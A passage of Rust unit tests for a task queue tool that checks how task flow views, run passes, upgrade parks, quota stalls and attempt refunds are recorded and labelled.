16030            "main".to_owned(),
16031            "0123456789abcdef".to_owned(),
16032            "Do it".to_owned(),
16033            Config::default(),
16034        );
16035        s.status = status;
16036        edit(&mut s);
16037        s
16038    }
16039
16040    fn flow_task(runs: &[&str]) -> Task {
16041        let mut t = Task::new(
16042            "t".to_owned(),
16043            "Do it".to_owned(),
16044            PathBuf::from("/repo/magi"),
16045            Source::Human,
16046        );
16047        for r in runs {
16048            t.start((*r).to_owned());
16049        }
16050        // Synthetic flows without RunPass records model legacy queue data.
16051        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16052        t
16053    }
16054
16055    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16056        let h = task_history(task, |id| {
16057            states
16058                .iter()
16059                .find(|(i, _)| *i == id)
16060                .and_then(|(_, s)| s.clone())
16061        });
16062        task_flow(task, &h, 5, None)
16063    }
16064
16065    #[test]
16066    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16067        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16068        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16069        let first = "2026-10-10T02:00:00Z".parse().unwrap();
16070        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16071        let held = "2026-10-10T04:00:00Z".parse().unwrap();
16072        let run = flow_run(RunStatus::Implementing, |s| {
16073            s.created_at = created;
16074            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
16075            s.passes[0].started_at = first;
16076            s.passes[1].started_at = resumed;
16077        });
16078        let mut task = flow_task(&[RUN_X, RUN_X]);
16079        task.created_at = queued;
16080        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
16081        task.status = TaskStatus::Held;
16082        task.held_at = Some(held);
16083        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
16084        assert_eq!(
16085            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
16086            vec![Some(queued), Some(first), Some(resumed), Some(held)]
16087        );
16088        assert!(flow.nodes.iter().all(|n| n.time_expected));
16089        let json = serde_json::to_value(&flow).unwrap();
16090        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
16091        assert_eq!(json["nodes"][2]["time_expected"], true);
16092    }
16093
16094    #[test]
16095    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
16096        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16097        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
16098        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
16099        // These timestamps are not the start of the current status.
16100        task.held_at = Some(created);
16101        task.blocked_at = Some(created);
16102        for status in [
16103            TaskStatus::Queued,
16104            TaskStatus::Running,
16105            TaskStatus::Blocked,
16106            TaskStatus::Done,
16107            TaskStatus::Failed,
16108            TaskStatus::Parked,
16109            TaskStatus::Held,
16110        ] {
16111            task.status = status;
16112            if status == TaskStatus::Held {
16113                task.held_at = None;
16114            }
16115            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
16116            assert_eq!(flow.nodes[1].started_at, Some(created));
16117            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
16118            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
16119            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
16120            let json = serde_json::to_value(&flow).unwrap();
16121            assert!(json["nodes"][3]["started_at"].is_null());
16122            assert_eq!(json["nodes"][3]["time_expected"], true);
16123        }
16124    }
16125
16126    #[test]
16127    fn flow_context_links_do_not_expect_start_times() {
16128        let mut task = flow_task(&[]);
16129        task.source = Source::Agent {
16130            run: "chat-id".to_owned(),
16131            node: "chat".to_owned(),
16132        };
16133        let origin = followup_origin(&fu(None), |_| None, |_| None);
16134        let flow = task_flow(&task, &[], 5, Some(&origin));
16135        for node in &flow.nodes[..2] {
16136            assert!(!node.time_expected);
16137            assert_eq!(node.started_at, None);
16138        }
16139        assert!(flow.nodes[2].time_expected);
16140    }
16141
16142    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
16143        crate::queue::FollowUp {
16144            run: "20260901-000000-aaaa".to_owned(),
16145            origin_task: origin_task.map(str::to_owned),
16146            pr: "https://example.com/o/r/pull/1".to_owned(),
16147            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
16148                .map(str::to_owned)
16149                .to_vec(),
16150            generation: 1,
16151        }
16152    }
16153
16154    fn parent_task() -> Task {
16155        let mut p = flow_task(&[]);
16156        p.title = "Parent title".to_owned();
16157        p.status = TaskStatus::Done;
16158        p
16159    }
16160
16161    #[test]
16162    fn flow_opens_with_the_parent_task_of_a_followup() {
16163        let p = parent_task();
16164        let pid = p.id.clone();
16165        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
16166        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16167        let n = &f.nodes[0];
16168        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
16169        assert_eq!(
16170            n.label,
16171            format!("Follow-up of {}", crate::queue::short(&pid))
16172        );
16173        assert_eq!(n.detail.as_deref(), Some("Parent title"));
16174        assert_eq!(n.status, Some("done"));
16175        assert_eq!(n.status_of, "task");
16176        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
16177        assert_eq!(f.nodes[1].key, "start");
16178        assert_eq!(f.edges[0].from, "origin");
16179        assert_eq!(
16180            f.edges[0].label,
16181            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
16182        );
16183    }
16184
16185    #[test]
16186    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
16187        let o = followup_origin(
16188            &fu(Some("gone")),
16189            |_| None,
16190            |_| {
16191                Some(RunState::new(
16192                    std::path::PathBuf::from("."),
16193                    "main".to_owned(),
16194                    "0".to_owned(),
16195                    "t".to_owned(),
16196                    crate::config::Config::default(),
16197                ))
16198            },
16199        );
16200        assert!(o.parent.is_none());
16201        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16202        let n = &f.nodes[0];
16203        assert_eq!(n.status_of, "run");
16204        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
16205        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
16206    }
16207
16208    #[test]
16209    fn flow_followup_with_nothing_readable_has_no_link() {
16210        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
16211        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16212        let n = &f.nodes[0];
16213        assert_eq!(n.href, None);
16214        assert_eq!(n.note, Some("unreadable"));
16215        assert!(!n.readable);
16216    }
16217
16218    #[test]
16219    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
16220        let o = followup_origin(&fu(None), |_| None, |_| None);
16221        let mut t = flow_task(&[]);
16222        t.origin_chat = Some("c1".to_owned());
16223        let f = task_flow(&t, &[], 5, Some(&o));
16224        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
16225        t.source = Source::Agent {
16226            run: "c1".to_owned(),
16227            node: crate::queue::CHAT_NODE.to_owned(),
16228        };
16229        let f = task_flow(&t, &[], 5, Some(&o));
16230        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
16231        assert_eq!(
16232            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
16233            ("chat", "origin")
16234        );
16235    }
16236
16237    #[test]
16238    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
16239        let mut p = parent_task();
16240        p.id = "a b/c".to_owned();
16241        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
16242        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
16243    }
16244
16245    #[test]
16246    fn flow_opens_with_the_chat_that_queued_the_task() {
16247        let mut t = flow_task(&[]);
16248        t.source = Source::Agent {
16249            run: "a b/c".to_owned(),
16250            node: crate::queue::CHAT_NODE.to_owned(),
16251        };
16252        let f = flow_for(&t, &[]);
16253        assert_eq!(f.nodes[0].key, "chat");
16254        assert_eq!(f.nodes[0].kind, "chat");
16255        assert_eq!(
16256            f.nodes[0].label,
16257            format!("Chat {}", crate::queue::short("a b/c"))
16258        );
16259        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
16260        assert_eq!(f.nodes[1].key, "start");
16261        assert_eq!(
16262            f.edges[0],
16263            FlowEdge {
16264                from: "chat".to_owned(),
16265                to: "start".to_owned(),
16266                label: "queued from chat".to_owned(),
16267                attempt: AttemptCost::None,
16268            }
16269        );
16270    }
16271
16272    #[test]
16273    fn flow_has_no_chat_box_for_other_sources() {
16274        for source in [
16275            Source::Human,
16276            Source::Issue {
16277                number: 3,
16278                repo: "o/r".to_owned(),
16279            },
16280            Source::Agent {
16281                run: "20260904-014455-ab12".to_owned(),
16282                node: "implement".to_owned(),
16283            },
16284        ] {
16285            let mut t = flow_task(&[]);
16286            t.source = source;
16287            let f = flow_for(&t, &[]);
16288            assert_eq!(f.nodes[0].key, "start");
16289            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
16290            assert!(f.edges.iter().all(|e| e.from != "chat"));
16291        }
16292    }
16293
16294    const FA: &str = "20260902-140501-aaaa";
16295    const FB: &str = "20260902-140502-bbbb";
16296
16297    #[test]
16298    fn flow_follows_blocked_retry_merged_to_done() {
16299        let mut t = flow_task(&[FA, FB]);
16300        t.status = TaskStatus::Done;
16301        let f = flow_for(
16302            &t,
16303            &[
16304                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16305                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16306            ],
16307        );
16308        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16309        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16310        assert_eq!(f.edges.len(), 3);
16311        assert_eq!(f.edges[0].label, "claimed");
16312        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16313        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16314        assert_eq!(f.edges[2].label, "merged \u{2192} done");
16315        assert_eq!(
16316            f.nodes[2].href.as_deref(),
16317            Some("#/runs/20260902-140502-bbbb")
16318        );
16319        assert!(f.nodes[2].decided);
16320    }
16321
16322    #[test]
16323    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16324        let quota = || {
16325            flow_run(RunStatus::Stalled, |s| {
16326                s.quota.push(crate::run::QuotaLoss {
16327                    seat: "judge-1".to_owned(),
16328                    node: "judge".to_owned(),
16329                    at: Timestamp::now(),
16330                    reset: None,
16331                })
16332            })
16333        };
16334        let mut t = flow_task(&[FA, FA]);
16335        t.status = TaskStatus::Queued;
16336        let f = flow_for(&t, &[(FA, Some(quota()))]);
16337        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16338        assert_eq!(f.nodes[1].note, Some("interrupted"));
16339        assert_eq!(
16340            f.nodes[1].status, None,
16341            "no outcome copied onto an earlier pass"
16342        );
16343        assert_eq!(
16344            f.edges[1].attempt,
16345            AttemptCost::Unknown,
16346            "a resume does not prove the earlier pass was refunded"
16347        );
16348        assert!(f.edges[1].label.contains("resume the same run"));
16349        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16350        assert_eq!(
16351            f.edges[2].label,
16352            "stalled after a resume, refund unknown \u{2192} queued"
16353        );
16354        assert!(!f.nodes[2].decided, "a stall is not a decision");
16355        assert_eq!(f.nodes[2].note, Some("no verdict"));
16356    }
16357
16358    #[test]
16359    fn flow_single_pass_quota_stall_is_refunded() {
16360        let t = flow_task(&[FA]);
16361        let f = flow_for(
16362            &t,
16363            &[(
16364                FA,
16365                Some(flow_run(RunStatus::Stalled, |s| {
16366                    s.quota.push(crate::run::QuotaLoss {
16367                        seat: "judge-1".to_owned(),
16368                        node: "judge".to_owned(),
16369                        at: Timestamp::now(),
16370                        reset: None,
16371                    })
16372                })),
16373            )],
16374        );
16375        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16376    }
16377
16378    #[test]
16379    fn flow_parked_refunds_and_stall_without_quota_spends() {
16380        let mut t = flow_task(&[FA]);
16381        t.status = TaskStatus::Queued;
16382        let f = flow_for(
16383            &t,
16384            &[(
16385                FA,
16386                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16387            )],
16388        );
16389        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
16390        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16391        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
16392        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16393        assert!(!f.nodes[1].decided);
16394    }
16395
16396    #[test]
16397    fn flow_keeps_an_unreadable_run_as_its_own_node() {
16398        let t = flow_task(&[FA, FB]);
16399        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
16400        assert_eq!(f.nodes[1].note, Some("unreadable"));
16401        assert!(!f.nodes[1].readable);
16402        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
16403        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
16404    }
16405
16406    #[test]
16407    fn flow_names_the_branch_of_a_review_only_run() {
16408        let t = flow_task(&[FA]);
16409        let f = flow_for(
16410            &t,
16411            &[(
16412                FA,
16413                Some(flow_run(RunStatus::Merged, |s| {
16414                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
16415                })),
16416            )],
16417        );
16418        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
16419        assert_eq!(
16420            f.nodes[1].detail.as_deref(),
16421            Some("review-only run of branch magi/x/A")
16422        );
16423    }
16424
16425    #[test]
16426    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
16427        let mut t = flow_task(&[FA]);
16428        t.status = TaskStatus::Held;
16429        let pr = crate::run::PrRecord {
16430            url: "https://example.test/pr/1".to_owned(),
16431            number: 1,
16432            state: "open".to_owned(),
16433            checks: "green".to_owned(),
16434            round: 0,
16435            rounds: 3,
16436            red_at_merge: Vec::new(),
16437        };
16438        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
16439        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
16440        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
16441        t.status = TaskStatus::Done;
16442        let f = flow_for(&t, &[(FA, Some(blocked))]);
16443        assert_eq!(f.edges[1].label, "closed by hand: task is done");
16444    }
16445
16446    #[test]
16447    fn flow_with_no_runs_goes_from_queued_to_queued() {
16448        let t = flow_task(&[]);
16449        let f = flow_for(&t, &[]);
16450        assert_eq!(f.nodes.len(), 2);
16451        assert_eq!(f.edges.len(), 1);
16452        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
16453        assert_eq!(f.edges[0].attempt, AttemptCost::None);
16454    }
16455
16456    /// A run parked mid-flight keeps a non-terminal status; the page must
16457    /// still say why it stopped and that the attempt came back.
16458    #[test]
16459    fn a_parked_non_terminal_run_is_explained_as_parked() {
16460        let mut s = RunState::new(
16461            PathBuf::from("/repo/magi"),
16462            "main".to_owned(),
16463            "0123456789abcdef".to_owned(),
16464            "Do it".to_owned(),
16465            Config::default(),
16466        );
16467        s.status = RunStatus::Implementing;
16468        s.parked = true;
16469        let task = Task::new(
16470            "t".to_owned(),
16471            "Do it".to_owned(),
16472            PathBuf::from("/repo/magi"),
16473            Source::Human,
16474        );
16475        let v = task_run_view(
16476            "20260902-140501-aaaa",
16477            Some(&s),
16478            RunSlot {
16479                n: 1,
16480                resumed: false,
16481                resumed_later: None,
16482                prior: None,
16483                last: true,
16484                ..RunSlot::default()
16485            },
16486            &task,
16487        );
16488        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16489    }
16490
16491    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16492        let mut s = flow_run(RunStatus::Implementing, edit);
16493        s.parked = false;
16494        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16495        task_run_view(
16496            "20260902-140501-aaaa",
16497            Some(&s),
16498            RunSlot {
16499                n: 1,
16500                resumed: false,
16501                resumed_later: Some(2),
16502                prior: None,
16503                last: false,
16504                ..RunSlot::default()
16505            },
16506            &task,
16507        )
16508    }
16509
16510    #[test]
16511    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16512        let v = earlier_pass_view(|_| {});
16513        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16514        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16515        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16516        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16517        assert_eq!(v.exit, RunExit::Interrupted);
16518        assert_eq!(v.attempt, AttemptCost::Unknown);
16519    }
16520
16521    #[test]
16522    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16523        let v = earlier_pass_view(|s| {
16524            s.quota.push(crate::run::QuotaLoss {
16525                seat: "judge-1".to_owned(),
16526                node: "judge".to_owned(),
16527                at: Timestamp::now(),
16528                reset: None,
16529            });
16530        });
16531        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16532        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16533        assert_eq!(v.attempt, AttemptCost::Unknown);
16534    }
16535
16536    #[test]
16537    fn the_current_pass_states_its_recorded_cause_and_cost() {
16538        let slot = || RunSlot {
16539            n: 1,
16540            resumed: false,
16541            resumed_later: None,
16542            prior: None,
16543            last: true,
16544            ..RunSlot::default()
16545        };
16546        let task = flow_task(&["20260902-140501-aaaa"]);
16547        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16548        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16549        assert_eq!(
16550            (v.exit, v.attempt),
16551            (RunExit::Parked, AttemptCost::Refunded)
16552        );
16553        let spent = flow_run(RunStatus::Blocked, |_| {});
16554        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16555        assert_eq!(v.attempt, AttemptCost::Spent);
16556        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16557    }
16558
16559    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16560        crate::run::RunPass {
16561            index,
16562            started_at: Timestamp::now(),
16563            resumed: index > 0,
16564            ended_at: end.as_ref().map(|_| Timestamp::now()),
16565            end,
16566            task_entry: true,
16567        }
16568    }
16569
16570    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16571        Some(crate::run::PassEnd::Parked { cause })
16572    }
16573
16574    fn upgrade_cause() -> crate::run::ParkCause {
16575        crate::run::ParkCause::Upgrade {
16576            from: "0.121.0".to_owned(),
16577            to: Some("0.121.1".to_owned()),
16578        }
16579    }
16580
16581    fn settled_pass(
16582        run: &str,
16583        index: usize,
16584        cost: crate::queue::PassCost,
16585    ) -> crate::queue::TaskPass {
16586        crate::queue::TaskPass {
16587            run: run.to_owned(),
16588            pass_index: index,
16589            started_at: None,
16590            cost,
16591            attempts_after: 1,
16592            settled_at: Timestamp::now(),
16593            parked: None,
16594        }
16595    }
16596
16597    const RUN_X: &str = "20261011-223708-4334";
16598
16599    #[test]
16600    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16601        use crate::queue::PassCost;
16602        let run = flow_run(RunStatus::Implementing, |s| {
16603            s.passes = vec![
16604                recorded_pass(0, parked(upgrade_cause())),
16605                recorded_pass(1, None),
16606            ];
16607        });
16608        let mut task = flow_task(&[RUN_X, RUN_X]);
16609        task.attempts = 1;
16610        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16611        let h = task_history(&task, |_| Some(run.clone()));
16612        assert_eq!(h.len(), 2);
16613        assert_eq!(h[0].kind, "competition");
16614        assert_eq!(h[1].kind, "resume");
16615        assert_eq!(
16616            (h[0].exit, h[0].attempt),
16617            (RunExit::Parked, AttemptCost::Refunded)
16618        );
16619        assert!(
16620            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16621            "{}",
16622            h[0].outcome
16623        );
16624        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16625        assert!(
16626            h[0].outcome.contains("pass #2 resumed the same run"),
16627            "{}",
16628            h[0].outcome
16629        );
16630        assert!(
16631            h[0].outcome.contains("pass 1 of 2 over run"),
16632            "{}",
16633            h[0].outcome
16634        );
16635        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16636        assert_eq!(
16637            h[0].exit_label,
16638            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16639        );
16640        let f = task_flow(&task, &h, 2, None);
16641        // Two passes of one run, one of two attempts consumed.
16642        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16643        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16644        assert!(
16645            f.edges[1].label.contains("upgrade 0.121.0"),
16646            "{}",
16647            f.edges[1].label
16648        );
16649        assert!(
16650            f.edges[1].label.contains("resume the same run"),
16651            "{}",
16652            f.edges[1].label
16653        );
16654        assert_eq!(f.nodes[1].note, Some("parked"));
16655    }
16656
16657    #[test]
16658    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16659        let mut a = flow_run(RunStatus::Implementing, |s| {
16660            s.passes = vec![
16661                recorded_pass(0, parked(upgrade_cause())),
16662                recorded_pass(1, None),
16663            ];
16664        });
16665        let mut b = flow_run(RunStatus::Failed, |s| {
16666            s.passes = vec![recorded_pass(0, None)];
16667        });
16668        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16669        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16670        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16671        let mut task = flow_task(&[]);
16672        task.start("a".into());
16673        task.start("b".into());
16674        task.start("a".into());
16675        assert_eq!(task.runs, ["b", "a"]);
16676        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16677        let h = task_history(&task, |id| {
16678            Some(if id == "a" { a.clone() } else { b.clone() })
16679        });
16680        assert_eq!(
16681            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16682            ["a", "b", "a"]
16683        );
16684        assert_eq!(h[0].attempt, AttemptCost::Refunded);
16685        assert!(h[0].outcome.contains("upgrade"));
16686        assert_eq!(h[2].kind, "resume");
16687        assert!(h[2].pass.is_some());
16688        // The old repeated-id format must show the same recorded passes.
16689        task.runs = vec!["a".into(), "b".into(), "a".into()];
16690        let old = task_history(&task, |id| {
16691            Some(if id == "a" { a.clone() } else { b.clone() })
16692        });
16693        assert_eq!(
16694            old.iter()
16695                .map(|v| (&v.id, &v.kind, v.attempt))
16696                .collect::<Vec<_>>(),
16697            h.iter()
16698                .map(|v| (&v.id, &v.kind, v.attempt))
16699                .collect::<Vec<_>>()
16700        );
16701    }
16702
16703    #[test]
16704    fn an_upgrade_whose_target_was_not_known_says_so() {
16705        let run = flow_run(RunStatus::Implementing, |s| {
16706            s.passes = vec![
16707                recorded_pass(
16708                    0,
16709                    parked(crate::run::ParkCause::Upgrade {
16710                        from: "0.121.0".to_owned(),
16711                        to: None,
16712                    }),
16713                ),
16714                recorded_pass(1, None),
16715            ];
16716        });
16717        let task = flow_task(&[RUN_X, RUN_X]);
16718        let h = task_history(&task, |_| Some(run.clone()));
16719        assert!(
16720            h[0].outcome.contains("upgrade from 0.121.0"),
16721            "{}",
16722            h[0].outcome
16723        );
16724        // No settle record: the refund is not claimed.
16725        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16726    }
16727
16728    #[test]
16729    fn each_pass_keeps_its_own_cause_across_several_resumes() {
16730        use crate::queue::PassCost;
16731        use crate::run::ParkCause;
16732        let run = flow_run(RunStatus::Implementing, |s| {
16733            s.passes = vec![
16734                recorded_pass(0, parked(upgrade_cause())),
16735                recorded_pass(
16736                    1,
16737                    parked(ParkCause::Interrupt {
16738                        reason: "task a1b2 asked to run first".to_owned(),
16739                    }),
16740                ),
16741                recorded_pass(2, parked(ParkCause::Operator)),
16742                recorded_pass(3, None),
16743            ];
16744        });
16745        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16746        task.attempts = 1;
16747        task.passes = (0..3)
16748            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16749            .collect();
16750        let h = task_history(&task, |_| Some(run.clone()));
16751        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16752        assert!(
16753            h[1].outcome.contains("task a1b2 asked to run first"),
16754            "{}",
16755            h[1].outcome
16756        );
16757        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16758        assert!(
16759            h[2].outcome.contains("operator asked the loop to park"),
16760            "{}",
16761            h[2].outcome
16762        );
16763        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16764        let f = task_flow(&task, &h, 2, None);
16765        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16766    }
16767
16768    #[test]
16769    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16770        let run = flow_run(RunStatus::Implementing, |s| {
16771            s.passes = vec![
16772                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16773                recorded_pass(1, None),
16774            ];
16775        });
16776        let task = flow_task(&[RUN_X, RUN_X]);
16777        let h = task_history(&task, |_| Some(run.clone()));
16778        assert_eq!(h[0].exit, RunExit::Interrupted);
16779        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16780        assert!(
16781            h[0].outcome.contains("without recording why"),
16782            "{}",
16783            h[0].outcome
16784        );
16785        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16786        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16787    }
16788
16789    #[test]
16790    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16791        use crate::queue::PassCost;
16792        // Three entries, but the run only began keeping passes at the last
16793        // two: the first is legacy and must not be given a cause.
16794        let run = flow_run(RunStatus::Implementing, |s| {
16795            s.passes = vec![
16796                recorded_pass(0, parked(upgrade_cause())),
16797                recorded_pass(1, None),
16798            ];
16799        });
16800        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16801        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16802        let h = task_history(&task, |_| Some(run.clone()));
16803        assert!(h[0].pass.is_none());
16804        assert_eq!(h[0].exit, RunExit::Interrupted);
16805        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16806        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16807        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16808        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16809        // A run with no passes at all is entirely unknown.
16810        let legacy = flow_run(RunStatus::Implementing, |_| {});
16811        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16812        assert!(h.iter().all(|v| v.pass.is_none()));
16813        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16814    }
16815
16816    #[test]
16817    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16818        use crate::queue::PassCost;
16819        // Pass 1 is a web-button resume: a pass of the run, no entry of the
16820        // task. The two entries are passes 0 and 2.
16821        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16822        web.task_entry = false;
16823        let run = flow_run(RunStatus::Implementing, |s| {
16824            s.passes = vec![
16825                recorded_pass(0, parked(upgrade_cause())),
16826                web.clone(),
16827                recorded_pass(2, None),
16828            ];
16829        });
16830        let mut task = flow_task(&[RUN_X, RUN_X]);
16831        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16832        let h = task_history(&task, |_| Some(run.clone()));
16833        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16834        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16835
16836        // Legacy first entry, then a web resume that parked for an upgrade,
16837        // then the daemon's pass: the legacy entry must stay unknown.
16838        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16839        web0.task_entry = false;
16840        let run = flow_run(RunStatus::Implementing, |s| {
16841            s.passes = vec![web0.clone(), recorded_pass(1, None)];
16842        });
16843        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16844        assert!(h[0].pass.is_none());
16845        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16846        assert!(h[1].pass.is_some());
16847    }
16848
16849    #[tokio::test]
16850    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16851        let dir = tempfile::tempdir().unwrap();
16852        let queue = Queue::at(dir.path().join("queue"));
16853        let ui = Arc::new(Ui::new(
16854            queue.clone(),
16855            Questions::at(dir.path().join("questions")),
16856            Talks::at(dir.path().join("talks")),
16857            dir.path().join("runs"),
16858            dir.path().to_path_buf(),
16859            dir.path().to_path_buf(),
16860        ));
16861        let mut t = Task::new(
16862            "recover".into(),
16863            "Inspect".into(),
16864            PathBuf::from("."),
16865            Source::Human,
16866        );
16867        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16868        t.start("run-A".into());
16869        t.release_operator("choice", Some("resume-question"));
16870        t.resume_override = Some(crate::queue::OperatorResume {
16871            question_id: "resume-question".into(),
16872            at: jiff::Timestamp::now(),
16873            conductor_rehold: None,
16874            forced: true,
16875            pinned_run: Some("run-A".into()),
16876        });
16877        t.hold_machine(Some("inspection pending".into()));
16878        t.edit("recover".into(), "Reuse approved PR head".into())
16879            .unwrap();
16880        queue.put(&mut t).unwrap();
